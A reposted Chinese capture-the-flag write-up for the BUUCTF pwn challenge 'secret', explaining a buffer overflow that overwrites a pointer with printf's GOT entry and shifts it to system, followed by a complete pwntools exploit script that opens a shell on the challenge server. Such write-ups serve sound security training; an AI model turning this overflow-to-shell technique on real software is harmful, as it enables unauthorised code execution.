BUUCTF(pwn)[BJDCTF 2nd]secret
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF(pwn)[BJDCTF 2nd]secret
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
感覺這道題技巧性比較強
有兩次輸入 一次名字,一次 密碼
先進 46A3AF
這里有一次輸入 name
看一下 0x40136D的匯編
這里每次有一次 調(diào)用 0x46A329,并且 有一次cmp比較; 那么進入 0x46a329
進去看看0x401301
發(fā)現(xiàn) printf_plt 的位置 與 system的位置相差0x10即16
我們可以一開始輸入name的時候輸入bin/sh; 把0x46d090覆蓋為printf_plt,
經(jīng)過16次輸入比較, 前15次輸入對的,最后一次輸入錯誤的,使地址偏移為 system,
得到flag;
思路
輸入name 為 bin/sh 修改off_46D090, 為printf_got。 答對15次,答錯一次剛好16次即0x10 使得printf_got指向system from pwn import *p = remote('node3.buuoj.cn',26671)elf = ELF('./2')printf_got=elf.got['printf']keys=[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]payload='/bin/sh\x00'.ljust(0x10,'a')+p32(printf_got)p.sendlineafter("What's your name?",payload)for a in keys:p.sendlineafter('Secret:',str(a))p.sendlineafter('Secret:','1')p.interactive() 與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的BUUCTF(pwn)[BJDCTF 2nd]secret的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PWN中的gdb调试, pwndbg,
- 下一篇: BUUCTF(pwn)picoctf_2